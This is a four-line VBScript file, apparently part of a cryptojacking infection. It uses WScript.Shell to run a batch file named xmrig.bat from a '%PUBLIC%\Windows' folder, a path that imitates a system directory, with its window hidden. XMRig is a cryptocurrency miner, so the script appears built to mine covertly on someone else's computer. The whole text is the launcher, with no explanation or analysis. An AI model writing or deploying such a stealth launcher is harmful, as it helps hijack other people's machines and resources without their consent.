Dim WinSh
Set WinSh = CreateObject("WScript.Shell" ) 
WinSh.Run chr(34) & "%PUBLIC%\Windows\xmrig.bat" & Chr(34), 0 
Set WinSh = Nothing